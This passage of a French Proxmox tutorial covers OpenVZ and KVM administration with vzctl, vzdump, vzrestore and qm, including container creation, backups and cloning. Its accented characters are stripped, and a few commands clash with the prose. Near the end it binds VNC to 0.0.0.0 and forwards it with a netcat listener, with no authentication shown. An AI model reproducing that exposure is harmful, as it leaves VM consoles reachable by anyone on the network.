root@proxmox:/var/lib/vz/private/100# Cest lun des principes dOpenVZ. Nous pouvons travailler directement sur le disque de tous les conteneurs OpenVZ sans mme dmarrer les machines, ou encore directement alors quelles sont en fonctionnement. Ceci est trs souple car il est possible de modifier les fichiers de configuration des services sans mme sidentifier sur la machine concerne. Attention, le dossier /var/lib/vz/private/100 contient larborescence de la machine qui sera monte dans /var/lib/vz/root/100 quand la machine sera dmarre. Pour ce qui est de la machine KVM, nous trouvons une image de son disque dans /var/lib/vz/images/500. root@proxmox:~# ls -l /var/lib/vz/images/500 total 0 -rw-r--r-- 1 root root 10737418240 Apr 4 08:53 vm-500-disk-1.raw root@proxmox:~# Limage iso que nous avons dpose sur le serveur se trouve quant elle dans /var/lib/vz/template/iso. root@proxmox:~# ls -l /var/lib/vz/template/iso/ total 616084 -rw------- 1 root root 630245376 Apr 1 05:51 WinXP3_VL.iso root@proxmox:~# Quant au modle de la Debian-6.0, nous le trouvons dans /var/lib/vz/template/cache. root@proxmox:~# ls -l /var/lib/vz/template/cache/ total 140744 -rw-r--r-- 1 root root 143972544 Oct 22 12:10 debian-6.0- standard_6.0-6_i386.tar.gz root@proxmox:~# Nous ne pouvons pas ici dtailler tout le contenu du disque dur du serveur mais seulement les emplacements qui nous semblent les plus importants. Ce qui vient naturellement ensuite est donc le dossier o est stocke la configuration des machines. Celle-ci se trouve dans /etc/pve, ainsi que la configuration du serveur. Dans le sous-dossier openvz, nous trouvons les deux fichiers de configuration de nos conteneurs. root@proxmox:~# ls -l /etc/pve total 4 -rw-r----- 1 root www-data 451 Jan 2 12:04 authkey.pub -rw-r----- 1 root www-data 13 Jan 2 12:03 datacenter.cfg lrwxr-x--- 1 root www-data 0 Jan 1 1970 local -> nodes/proxmox drwxr-x--- 2 root www-data 0 Jan 2 12:04 nodes lrwxr-x--- 1 root www-data 0 Jan 1 1970 openvz -> nodes/proxmox/openvz drwx------ 2 root www-data 0 Jan 2 12:04 priv -rw-r----- 1 root www-data 1533 Jan 2 12:04 pve-root-ca.pem -rw-r----- 1 root www-data 1675 Jan 2 12:04 pve-www.key lrwxr-x--- 1 root www-data 0 Jan 1 1970 qemu-server -> nodes/proxmox/qemu-server -rw-r----- 1 root www-data 139 Apr 1 10:22 storage.cfg -rw-r----- 1 root www-data 54 Jan 2 18:23 user.cfg -rw-r----- 1 root www-data 119 Jan 2 12:04 vzdump.cron root@proxmox:~# ls /etc/pve/openvz/ -l total 2 -rw-r----- 1 root www-data 966 Apr 3 11:20 100.conf -rw-r----- 1 root www-data 968 Apr 3 11:36 102.conf root@proxmox:~# Inspectons par curiosit le fichier de configuration de la machine 100 avec notre diteur prfr. Voici son contenu : ONBOOT="no"
# Disk quota parameters (in form of softlimit:hardlimit) DISKSPACE="4G:4613734" DISKINODES="800000:880000" QUOTATIME="0" QUOTAUGIDLIMIT="0"
# CPU fair scheduler parameter CPUUNITS="1000" CPUS="1" HOSTNAME="WEB1.Labo" SEARCHDOMAIN="Labo" NAMESERVER="8.8.8.8" NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:AE,host_ifname=veth100.0,host _mac=26:5F:0D:2B:4A:52,bridge=vmbr0" VE_ROOT="/var/lib/vz/root/$VEID" VE_PRIVATE="/var/lib/vz/private/100" OSTEMPLATE="debian-6.0-standard_6.0-6_i386.tar.gz" Nous constatons que nous retrouvons lensemble des paramtres que nous avons rgls laide de linterface web. Il est prfrable de ne pas modifier les options manuellement dans le fichier, sauf dans des cas particuliers. Nous verrons dans le point suivant quil existe des commandes spcialises pour cela. Voil pour les principaux dossiers. Nous constatons la souplesse dOpenVZ. Voyons prsent comment administrer les machines directement en ligne de commande sur le serveur. c. Les commandes utiles Nous partons du principe dans cette section que nous sommes connects en console sur notre serveur en tant quadministrateur root. Nous avons donc face nous une invite de commande et allons explorer quelques lments dadministration des machines virtuelles. Il existe deux commandes principales : vzctl pour contrler les machines dOpenVZ et qm pour les machines KVM. Mais avant de rentrer dans ladministration de celles-ci, il est intressant de pouvoir les lister. La commande vzlist nous permet de lister les conteneurs OpenVZ actuellement en fonctionnement. Si nous voulons lister lensemble des conteneurs, il faut ajouter loption -a. Pour KVM, ce sera la commande qm list. root@proxmox:~# vzlist root@proxmox:~# vzlist -a CTID NPROC STATUS IP_ADDR HOSTNAME 100 - stopped - WEB1.Labo 102 - stopped - WEB2 103 - stopped - WEB3 root@proxmox:~# qm list VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID 500 Win1 stopped 512 10.00 0 root@proxmox:~# Nous visualisons bien lensemble de nos machines virtuelles et leur tat actuel. Nous avons aussi leur nom et leur ID. Dmarrons prsent la premire machine WEB1.Labo. Celle-ci a pour ID 100 et cest ce paramtre quil faudra passer la commande vzctl avec laction souhaite sur la VM. Ce sera la mme chose pour la machine KVM dID 500 dans laquelle nous avons install un systme Windows en utilisant la commande qm. Voici ce que cela donne. root@proxmox:~# vzctl start 100 Starting container ... Container is mounted Setting CPU units: 1000 Setting CPUs: 1 Configure veth devices: veth100.0 Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100 Container start in progress... root@proxmox:~# vzlist CTID NPROC STATUS IP_ADDR HOSTNAME 100 71 running - WEB1.Labo root@proxmox:~# qm start 500 root@proxmox:~# qm list VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID 500 Win1 running 512 10.00 16881 root@proxmox:~# Il est tout aussi facile de stopper ces machines avec les commandes : vzctl stop 100 qm stop 101root@proxmox:~# vzctl stop 100 Stopping container ... Container was stopped Container is unmounted root@proxmox:~# qm stop 500 root@proxmox:~# Il est aussi trs facile dentrer dans une VM OpenVZ depuis le serveur. Nous avons dj vu que larborescence du disque tait accessible, mais nous pouvons aller plus loin en sidentifiant directement comme administrateur (root) sur une VM OpenVZ. Pour cela, il faut utiliser la commande vzctl enter ID aprs avoir bien videmment dmarr la machine. Voici un exemple : root@proxmox:~# vzctl start 100 Starting container ... Container is mounted Setting CPU units: 1000 Setting CPUs: 1 Configure veth devices: veth100.0 Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100 Container start in progress... root@proxmox:~# vzctl enter 100 entered into CT 100 root@WEB1:/# more /etc/apt/sources.list deb http://ftp.debian.org/debian squeeze main contrib
deb http://ftp.debian.org/debian squeeze-updates main contrib
deb http://security.debian.org squeeze/updates main contrib Nous constatons que nous obtenons bien une invite de commande en tant quutilisateur root sur la machine WEB1 et que celle-ci est bien une Debian squeeze comme lindiquent les dpts dclars dans son fichier sources.list. Notre machine a normalement t dclare avec une interface rseau en pont (Bridge), il est donc possible de configurer celle-ci pour un accs Internet. Par exemple, si nous disposons pour cette connexion dun serveur DHCP, cest alors trs simple. Il nous est alors possible de mettre jour le systme dexploitation de la VM. Par la suite, nous pourrons installer tous les services dont nous avons besoin. Cet accs la VM directement depuis une connexion SSH sur le serveur est bien plus souple que la console Java de linterface web. Mais il arrive parfois que nous nayons pas le choix. Ralisons la manipulation que nous venons de dcrire. root@WEB1:/# dhclient eth0 root@WEB1:/# aptitude update Hit http://ftp.debian.org squeeze Release.gpg Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en Ign http://ftp.debian.org/debian/ squeeze/main Translation-en Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B] Ign http://security.debian.org/ squeeze/updates/contrib Translation-en Ign http://security.debian.org/ squeeze/updates/main Translation-en Get:2 http://ftp.debian.org squeeze-updates Release.gpg [836 B] Ign http://ftp.debian.org/debian/ squeeze-updates/contrib Translation-en Ign http://ftp.debian.org/debian/ squeeze-updates/main Translation-en Hit http://ftp.debian.org squeeze Release Get:3 http://security.debian.org squeeze/updates Release [87.0 kB] Get:4 http://ftp.debian.org squeeze-updates Release [113 kB] Get:5 http://security.debian.org squeeze/updates/main i386 Packages [386 kB] Hit http://ftp.debian.org squeeze/main i386 Packages Hit http://ftp.debian.org squeeze/contrib i386 Packages Hit http://ftp.debian.org squeeze-updates/main i386 Packages/DiffIndex Get:6 http://ftp.debian.org squeeze-updates/contrib i386 Packages [20 B] Get:7 http://ftp.debian.org squeeze-updates/main i386 Packages [4493 B] Get:8 http://security.debian.org squeeze/updates/contrib i386 Packages [621 B] Fetched 593 kB in 1s (482 kB/s)
root@WEB1:/# aptitude full-upgrade No packages will be installed, upgraded, or removed. 0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 0 B of archives. After unpacking 0 B will be used.
root@WEB1:/# Voil, nous disposons dune Debian Squeeze flambant neuve et prte tre utilise. La souplesse dOpenVZ permet aussi de modifier la configuration des machines virtuelles alors que celles-ci sont en fonctionnement. Si par exemple nous trouvons que la taille du disque dur que nous avions initialement choisie est insuffisante, il est possible de laugmenter en une seule commande. Dans la manipulation suivante, nous allons : Visualiser la taille actuelle du disque dur de la WM dID 100. Sortir de la VM. Modifier la taille du disque en la montant 6 Go. Entrer nouveau dans la VM et contrler la nouvelle taille du disque. Toutes ces oprations vont tre effectues sans arrter la machine. Si des services taient fournis des usagers, ceux-ci nauraient subi aucune interruption de service. La commande qui permet de modifier les paramtres de la machine est : vzctl set $IDVM$ --$paramtre$ $valeur$ --$option$ Ralisons lopration : root@proxmox:~# vzctl enter 100 entered into CT 100 root@WEB1:/# df -h Filesystem Size Used Avail Use% Mounted on /dev/simfs 4.0G 440M 3.6G 11% / tmpfs 256M 0 256M 0% /lib/init/rw tmpfs 256M 0 256M 0% /dev/shm root@WEB1:/# exit logout exited from CT 100 root@proxmox:~# vzctl set 100 --diskspace 6G:6G --save CT configuration saved to /etc/pve/openvz/100.conf root@proxmox:~# vzctl enter 100 entered into CT 100 root@WEB1:/# df -h Filesystem Size Used Avail Use% Mounted on /dev/simfs 6.0G 440M 5.6G 8% / tmpfs 256M 0 256M 0% /lib/init/rw tmpfs 256M 0 256M 0% /dev/shm root@WEB1:/# Nous constatons bien que la taille du disque dur de notre VM vient de passer 6 Go. Loption --save passe en fin de commande indique que nous souhaitons conserver cette modification dans le fichier de configuration. Ceci rendra prenne cette nouvelle taille de disque. Cela veut dire aussi quil est possible de changer temporairement la taille dun disque mais de ne pas conserver ce changement. Dans ce cas, le disque aura retrouv sa taille initiale au prochain redmarrage de la VM. Pour la taille du disque, deux paramtres spars par deux points ont t indiqus. Cest parce quil existe deux limites de disque indiquer : une limite logicielle (soft) et une limite matrielle (hard). La diffrence, sans entrer dans les dtails, est que la limite logicielle peut tre dpasse temporairement. Il est possible de faire aussi des modifications sur la mmoire, le temps processeur allou, le nombre de curs de processeur, les interfaces rseau, etc. Il est impossible de voir toutes les possibilits ici. Elles sont trs nombreuses. De laide est disponible sur chaque option de vzctl. Listons ces options : root@proxmox:~# vzctl --help vzctl version 4.0-4.git.162dded Copyright (C) 2000-2012, Parallels, Inc. This program may be distributed under the terms of the GNU GPL License.
UBC parameters (N - items, P - pages, B - bytes): Two numbers divided by colon means barrier:limit. In case the limit is not given it is set to the same value as the barrier. --numproc N[:N] --numtcpsock N[:N] --numothersock N[:N] --vmguarpages P[:P] --kmemsize B[:B] --tcpsndbuf B[:B] --tcprcvbuf B[:B] --othersockbuf B[:B] --dgramrcvbuf B[:B] --oomguarpages P[:P] --lockedpages P[:P] --privvmpages P[:P] --shmpages P[:P] --numfile N[:N] --numflock N[:N] --numpty N[:N] --numsiginfo N[:N] --dcachesize N[:N] --numiptent N[:N] --physpages P[:P] --avnumproc N[:N] --swappages P[:P] root@proxmox:~# La dernire opration que nous allons voir avec la commande vzctl est la cration dun conteneur. Pour pouvoir crer le conteneur, il faut rgler un minimum dinformations comme la taille du disque dur, le nombre maximal dinodes, etc. Le plus simple est de reprendre le fichier de configuration dune machine similaire et dajuster les nouveaux paramtres suivant ce que lon dsire. Nous commenons par copier le fichier de configuration de la machine dID 100 dans 110.conf avec la commande suivante : cp /etc/pve/openvz/100.conf /etc/pve/openvz/110.conf Nous ditons ensuite ce nouveau fichier, avec nano par exemple, pour effectuer quelques modifications. Voici le nouveau fichier de configuration pour la machine dID 110. ONBOOT="no"
# Disk quota parameters (in form of softlimit:hardlimit) DISKSPACE="2097152:2097152" DISKINODES="800000:880000" QUOTATIME="0" QUOTAUGIDLIMIT="0"
# CPU fair scheduler parameter CPUUNITS="1000" CPUS="1" HOSTNAME="WEB10" SEARCHDOMAIN="Labo" NAMESERVER="8.8.8.8" NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:BB,host_ifname=veth110.0, host_mac=26:5F:0D:2B:4A:55,bridge=vmbr0" VE_ROOT="/var/lib/vz/root/110" VE_PRIVATE="/var/lib/vz/private/110" OSTEMPLATE="debian-6.0-standard_6.0-6_i386" NAME="WEB3" Les variables importantes quil faut absolument modifier pour viter tout conflit entre les machines sont : HOSTNAME : que nous avons modifie en WEB10. NETIF : pour laquelle nous avons chang les deux MAC et surtout, nous avons dclar le pont en veth110.0. VE_ROOT et VE_PRIVATE qui pointent vers les nouveaux dossiers avec un chemin finissant par 110 pour rester cohrent avec lID de la machine. NAME : qui a t ajout et prend le nom WEB10. Nous avons aussi modifi la variable DISKSPACE pour crer un disque de 2 Go, mais ce ntait pas obligatoire. Voil, tout est prt pour crer la nouvelle machine, la dmarrer puis sidentifier comme administrateur sur celle-ci pour vrifier quelle fonctionne parfaitement. root@proxmox:~# cp /etc/pve/openvz/103.conf /etc/pve/openvz/110.conf root@proxmox:~# nano /etc/pve/openvz/110.conf root@proxmox:~# vzctl create 110 --ostemplate debian-6.0- standard_6.0-6_i386 --hostname WEB10 --name WEB10 Name WEB10 assigned Creating container private area (debian-6.0-standard_6.0-6_i386) Performing postcreate actions CT configuration saved to /etc/pve/openvz/110.conf Container private area was created root@proxmox:~# vzctl start 110 Starting container ... Container is mounted Setting CPU units: 1000 Setting CPUs: 1 Configure veth devices: veth110.0 Adding interface veth110.0 to bridge vmbr0 on CT0 for CT110 Container start in progress... root@proxmox:~# vzctl enter 110 entered into CT 110 root@WEB10:/# df -h Filesystem Size Used Avail Use% Mounted on /dev/simfs 2.0G 383M 1.7G 19% / tmpfs 256M 0 256M 0% /lib/init/rw tmpfs 256M 0 256M 0% /dev/shm root@WEB10:/# Nous nirons pas plus loin avec la commande vzctl mais la puissance de celle-ci nest plus dmontrer. Une autre opration quil est aussi intressant de savoir faire en ligne de commande est la sauvegarde et la restauration des VM. Pour cela, nous disposons de deux commandes : vzdump : qui permet la sauvegarde dune machine OpenVZ. vzrestore : qui permet de restaurer une machine sauvegarde. Effectuons la sauvegarde de la machine dID 100. Comme avec linterface web, nous choisissons de stopper la machine pour la sauvegarder et prendrons une compression GZIP. Ces paramtres seront passer en arguments la commande ainsi que le dossier de destination de la sauvegarde ; voici ce que cela donne : root@proxmox:~# ls /var/lib/vz/dump/dump/ vzdump-openvz-100-2013_04_03-09_51_12.log vzdump-openvz-100- 2013_04_03-09_51_12.tar.gz root@proxmox:~# vzdump 100 -compress gzip -dumpdir /va/lib/vz/dump -mode stop dumpdir /va/lib/vz/dump does not exist root@proxmox:~# vzdump 100 -compress gzip -dumpdir /var/lib/vz/dump/dump -mode stop INFO: starting new backup job: vzdump 100 --dumpdir /var/lib/vz/dump/dump --mode stop --compress gzip INFO: Starting Backup of VM 100 (openvz) INFO: CTID 100 exist mounted running INFO: status = running INFO: backup mode: stop INFO: ionice priority: 7 INFO: stopping vm INFO: Stopping container ... INFO: Container was stopped INFO: Container is unmounted INFO: creating archive /var/lib/vz/dump/dump/vzdump-openvz-100- 2013_04_04-10_04_22.tar.gz INFO: Total bytes written: 421713920 (403MiB, 11MiB/s) INFO: archive file size: 170MB INFO: delete old backup /var/lib/vz/dump/dump/vzdump-openvz-100- 2013_04_03-09_51_12.tar.gz INFO: CTID 100 exist unmounted down INFO: restarting vm INFO: Starting container ... INFO: Container is mounted INFO: Setting CPU units: 1000 INFO: Setting CPUs: 1 INFO: Configure veth devices: veth100.0 INFO: Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100 INFO: Container start in progress... INFO: vm is online again after 44 seconds INFO: Finished Backup of VM 100 (00:00:44) INFO: Backup job finished successfully root@proxmox:~# ls /var/lib/vz/dump/dump vzdump-openvz-100-2013_04_04-10_04_22.log vzdump-openvz-100- 2013_04_04-10_04_22.tar.gz root@proxmox:~# Nous constatons que notre nouvelle sauvegarde a effac lancienne. Il faut donc prendre garde. En effet, nous navons pas prcis loption -maxfiles dans notre commande et celle-ci est rgle par dfaut 1. Pour restaurer la machine, rien de plus simple : root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-100- 2013_04_04-10_04_22.tar.gz 100 -force cant overwrite mounted container root@proxmox:~# vzctl stop 100 Stopping container ... Container was stopped Container is unmounted root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-100- 2013_04_04-10_04_22.tar.gz 100 -force you choose to force overwriting VPS config file, private and root directories. extracting archive /var/lib/vz/dump/dump/vzdump-openvz-100- 2013_04_04-10_04_22.tar.gz tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_ contrib_binary-i386_Packages: time stamp 2013-04-04 16:01:14 is 21186.107918382 s in the future tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_ Release: time stamp 2013-04-04 16:01:27 is 21199.106609008 s in the future tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze- updates_main_binary-i386_Packages: time stamp 2013-04-05 04:02:45 is 64477.105968429 s in the future tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze- updates_Release.gpg: time stamp 2013-04-05 04:22:11 is 65643.105881268 s in the future tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze- updates_Release: time stamp 2013-04-05 04:22:11 is 65643.104792032 s in the future tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze- updates_contrib_binary-i386_Packages: time stamp 2013-04-05 04:12:07 is 65039.101766534 s in the future tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_main _binary-i386_Packages: time stamp 2013-04-04 16:01:08 is 21180.07657332 s in the future tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_ Release.gpg: time stamp 2013-04-04 16:01:27 is 21199.074864738 s in the future Total bytes read: 421713920 (403MiB, 42MiB/s) restore configuration to /etc/pve/nodes/proxmox/openvz/100.conf vzquota : (warning) Quota file exists, it will be overwritten root@proxmox:~# Nous avons volontairement fait deux erreurs dans les deux premires commandes. Premirement, nous constatons que si le conteneur existe, il faut forcer sa restauration. Deuximement, il faut que le conteneur soit stopp pour le restaurer. Lors de cette opration dans linterface web nous avions parl du clonage dune machine, ce qui est tout simple en ligne de commande. Il faut tout simplement restaurer une sauvegarde dans un autre conteneur et le tour est jou. Pour le moment, nous nous sommes principalement intresss aux conteneurs OpenVZ. Passons la gestion des machines KVM. Si nous regardons la liste des commandes de qm, nous constatons quelles sont assez nombreuses. root@proxmox:~# qm help USAGE: qm <COMMAND> [ARGS] [OPTIONS] qm config <vmid> qm create <vmid> [OPTIONS] qm delsnapshot <vmid> <snapname> [OPTIONS] qm destroy <vmid> [OPTIONS] qm list qm migrate <vmid> <target> [OPTIONS] qm reset <vmid> [OPTIONS] qm resize <vmid> <disk> <size> [OPTIONS] qm resume <vmid> [OPTIONS] qm rollback <vmid> <snapname> qm sendkey <vmid> <key> [OPTIONS] qm set <vmid> [OPTIONS] qm shutdown <vmid> [OPTIONS] qm snapshot <vmid> <snapname> [OPTIONS] qm start <vmid> [OPTIONS] qm stop <vmid> [OPTIONS] qm suspend <vmid> [OPTIONS] qm template <vmid> [OPTIONS] qm unlink <vmid> {<idlist>} [OPTIONS]
qm help [<cmd>] [OPTIONS]
qm monitor <vmid> qm mtunnel qm rescan [OPTIONS] qm showcmd <vmid> qm status <vmid> [OPTIONS] qm unlock <vmid> qm vncproxy <vmid> qm wait <vmid> [OPTIONS] root@proxmox:~# Nous pouvons comme avec OpenVZ dmarrer et arrter les machines laide des commandes start et stop. root@proxmox:~# qm status 500 status: stopped root@proxmox:~# qm start 500 root@proxmox:~# qm status 500 status: running root@proxmox:~# qm stop 500 root@proxmox:~# Attention ici, loption stop arrte brutalement la machine contrairement OpenVZ ; ceci nest pas toujours recommand. Il vaut mieux envoyer un signal darrt la machine avec la commande shutdown. Pour crer une machine KVM, il faut utiliser la commande qm create. Mais celle-ci dispose dun trs grand nombre doptions. Il suffit de voir la commande qui permet de lancer la VM pour sen rendre compte : root@proxmox:~# qm showcmd 500 /usr/bin/kvm -id 500 -chardev socket,id=qmp,path=/var/run/ qemu-server/500.qmp,server,nowait -mon chardev=qmp,mode=control -vnc unix:/var/run/qemu-server/500.vnc,x509,password -pidfile /var/run/qemu-server/500.pid -daemonize -name Win1 -smp sockets=1,cores=1 -nodefaults -boot menu=on -vga cirrus -k fr -m 512 -cpuunits 1000 -device piix3-usb-uhci,id=uhci,bus=pci.0, addr=0x1.0x2 -device usb-tablet,id=tablet,bus=uhci.0,port=1 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x3 -drive file=/var/lib/vz/template/iso/WinXP3_VL.iso,if=none, id=drive-ide2,media=cdrom,aio=native -device ide-cd,bus=ide.1,unit=0,drive=drive-ide2,id=ide2, bootindex=200 -drive file=/var/lib/vz/images/500/vm-500- disk-1.raw,if=none,id=drive-ide0,aio=native,cache=none -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0,id=ide0, bootindex=100 -netdev type=tap,id=net0,ifname=tap500i0, script=/var/lib/qemu-server/pve-bridge -device rtl8139,mac=82:EE:6A:BE:82:DA,netdev=net0,bus=pci.0, addr=0x12,id=net0,bootindex=300 -rtc driftfix=slew, base=localtime -machine accel=tcg root@proxmox:~# Pour ne pas faire derreur et obtenir une machine bien configure, le plus simple est soit de passer par linterface web, soit de cloner une machine semblable celle que nous voulons crer et de modifier ses paramtres par la suite. Commenons par effectuer une sauvegarde de la machine 500 : root@proxmox:~# vzdump 500 -compress gzip -dumpdir /var/lib/vz/dump/dump/ -mode stop INFO: starting new backup job: vzdump 500 --dumpdir /var/lib/vz/dump/dump/ --mode stop --compress gzip INFO: Starting Backup of VM 500 (qemu) INFO: status = stopped INFO: backup mode: stop INFO: ionice priority: 7 INFO: creating archive /var/lib/vz/dump/dump/vzdump-qemu-500- 2013_04_04-11_12_15.vma.gz INFO: starting kvm to execute backup task INFO: started backup task 5fd8b493-2164-493e-889c-7f12036cb626 INFO: status: 22% (2416574464/10737418240), sparse 22% (2416570368), duration 3, 805/0 MB/s INFO: status: 44% (4777705472/10737418240), sparse 44% (4777701376), duration 6, 787/0 MB/s INFO: status: 66% (7173570560/10737418240), sparse 66% (7173566464), duration 9, 798/0 MB/s INFO: status: 88% (9539878912/10737418240), sparse 88% (9539874816), duration 12, 788/0 MB/s INFO: status: 100% (10737418240/10737418240), sparse 99% (10737414144), duration 14, 598/0 MB/s INFO: transferred 10737 MB in 14 seconds (766 MB/s) INFO: stopping kvm after backup task INFO: archive file size: 402KB INFO: Finished Backup of VM 500 (00:00:17) INFO: Backup job finished successfully root@proxmox:~# ls /var/lib/vz/dump/dump/ -lh total 172M -rw-r--r-- 1 root root 886 Apr 4 10:05 vzdump-openvz-100- 2013_04_04-10_04_22.log -rw-r--r-- 1 root root 171M Apr 4 10:05 vzdump-openvz-100- 2013_04_04-10_04_22.tar.gz -rw-r--r-- 1 root root 1.2K Apr 4 11:12 vzdump-qemu-500- 2013_04_04-11_12_15.log -rw-r--r-- 1 root root 403K Apr 4 11:12 vzdump-qemu-500- 2013_04_04-11_12_15.vma.gz root@proxmox:~# Crons prsent une VM sans aucun paramtre : root@proxmox:~# qm create 501 root@proxmox:~# ls /etc/pve/qemu-server 500.conf 501.conf root@proxmox:~# more /etc/pve/qemu-server/501.conf root@proxmox:~# qm list VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID 500 Win1 stopped 512 10.00 0 501 VM 501 stopped 0 0.00 0 Nous constatons que la VM 501 est bien cre, mais elle a un nom par dfaut, ne dispose pas de mmoire RAM ni de disque dur et que son fichier de configuration est vide. Mais comme cette VM existe prsent, il est possible de restaurer la sauvegarde de la VM 500 dessus. root@proxmox:~# qmrestore /var/lib/vz/dump/dump/vzdump-qemu-500- 2013_04_04-11_12_15.vma.gz 501 -force -unique 1 restore vma archive: zcat /var/lib/vz/dump/dump/vzdump-qemu-500- 2013_04_04-11_12_15.vma.gz|vma extract -v -r /var/tmp/vzdumptmp27332.fifo - /var/tmp/vzdumptmp27332 CFG: size: 259 name: qemu-server.conf DEV: dev_id=1 size: 10737418240 devname: drive-ide0 CTIME: Thu Apr 4 11:12:16 2013 Formatting /var/lib/vz/images/501/vm-501-disk-1.raw, fmt=raw size=10737418240 new volume ID is local:501/vm-501-disk-1.raw map drive-ide0 to /var/lib/vz/images/501/vm-501-disk-1.raw (write zeros = 0) progress 1% (read 107413504 bytes, duration 0 sec) progress 2% (read 214761472 bytes, duration 0 sec) progress 3% (read 322174976 bytes, duration 0 sec) progress 4% (read 429522944 bytes, duration 0 sec) progress 5% (read 536870912 bytes, duration 0 sec) progress 6% (read 644284416 bytes, duration 0 sec) progress 7% (read 751632384 bytes, duration 0 sec) progress 8% (read 859045888 bytes, duration 0 sec) progress 9% (read 966393856 bytes, duration 0 sec) progress 10% (read 1073741824 bytes, duration 0 sec) progress 11% (read 1181155328 bytes, duration 0 sec) progress 12% (read 1288503296 bytes, duration 0 sec) ... progress 98% (read 10522722304 bytes, duration 1 sec) progress 99% (read 10630070272 bytes, duration 1 sec) progress 100% (read 10737418240 bytes, duration 1 sec) total bytes read 10737418240, sparse bytes 10737414144 (100%) space reduction due to 4K zero bocks 1.5e+03% root@proxmox:~# qm list VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID 500 Win1 stopped 512 10.00 0 501 Win1 stopped 512 10.00 0 root@proxmox:~# Nous constatons bien que la VM dID 501 prsente une mmoire RAM de 512 Mo et un disque dur de 10 Go aprs restauration. Le problme est quelle possde le mme nom que la machine 500. Changeons celui-ci. root@proxmox:~# qm set 501 -name Win2 root@proxmox:~# qm list VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID 500 Win1 stopped 512 10.00 0 501 Win2 stopped 512 10.00 0 root@proxmox:~# Lors de la restauration, nous avons plac le paramtre unique 1. Ceci permet de gnrer une nouvelle adresse MAC pour la VM clone. Comparons les deux fichiers de configuration des VM 500 et 501. root@proxmox:~# more /etc/pve/qemu-server/500.conf bootdisk: ide0 cores: 1 ide0: local:500/vm-500-disk-1.raw,size=10G ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K kvm: 0 memory: 512 name: Win1 net0: rtl8139=82:EE:6A:BE:82:DA,bridge=vmbr0 ostype: wxp sockets: 1 root@proxmox:~# more /etc/pve/qemu-server/501.conf bootdisk: ide0 cores: 1 ide0: local:501/vm-501-disk-1.raw,size=10G ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K kvm: 0 memory: 512 name: Win2 net0: rtl8139=EE:79:7D:A2:BD:0F,bridge=vmbr0 ostype: wxp sockets: 1 root@proxmox:~# Les adresses MAC sont bien diffrentes ainsi que le nom de VM et, le plus important, le nom du disque dur. Lmulation dune machine avec KVM / QEMU tant totale au niveau du matriel, elle est souvent utilise dans le cas de machines Windows. Pour accder ces machines, nous avons vu quil tait possible de le faire via linterface web dans une console Java. Cette console nest pas toujours trs stable et il est parfois prfrable denvisager dautres moyens daccder la VM si nous en avons la possibilit. Ce nest bien entendu pas toujours le cas. Dans la situation o nous nous trouvons, nous avons le contrle total de notre serveur Proxmox et du rseau. Nous pouvons donc ouvrir un port qui sera redirig vers un contrle distant de type VNC (Virtual Network Computing) de notre machine virtuelle. En effet, Proxmox utilise VNC pour laccs aux machines KVM. Cette connexion passe par un proxy VNC. Il est possible de passer un argument la VM soit en ligne de commande, soit directement dans son fichier de configuration. Nous allons modifier celui-ci pour quil coute sur une IP quelconque sur un port donn. Pour ce faire, nous ajoutons la ligne suivante la fin du fichier /etc/pve/qemu-server/500.conf : args: -vnc 0.0.0.0:100 Attention, lcoute dune connexion VNC se fera sur toutes les adresses IP mais pas sur le port 100 comme indiqu en fin de ligne. En effet, le port par dfaut tant 5900, le nombre mentionn en fin de ligne sera ajout au port initial. Lcoute se fera donc ici sur le port 6000. Il faut ensuite rediriger la connexion effectue sur le Proxmox dans le proxy VNC de la VM. Ceci est assez simple avec la commande suivante : root@proxmox:~# nc -l -p 5900 -c "qm vncproxy 500" Voil, nous pouvons nous connecter la VM dID 500 en VNC sur le port 6000. Mais quel client utiliser ? Dans le cas dun systme Windows, nous vous conseillons TightVNC disponible ladresse suivante : http://www.tightvnc.com/ Il existe une version compltement Open Source de celui-ci. Nous tlchargeons celle-ci et linstallons. Nous validons le premier cran et le deuxime en cochant lacceptation de la licence. Nous ne voulons installer que le client et pas le serveur. Nous cliquons alors sur Custom au troisime cran.
Nous choisissons de ne pas installer le serveur (Entire feature will be unavailable) et passons la suite. Pour les deux crans suivants, nous acceptons les options par dfaut, puis linstallation seffectue. Il ne reste plus qu cliquer sur Finish au dernier cran. Nous dmarrons TightVNC et saisissons ladresse de notre serveur Proxmox dans le champ requis, suivie du port 6000 spar par :: de lIP, puis cliquons sur Connect.
La connexion stablit et nous sommes face notre VM Windows dID 500.
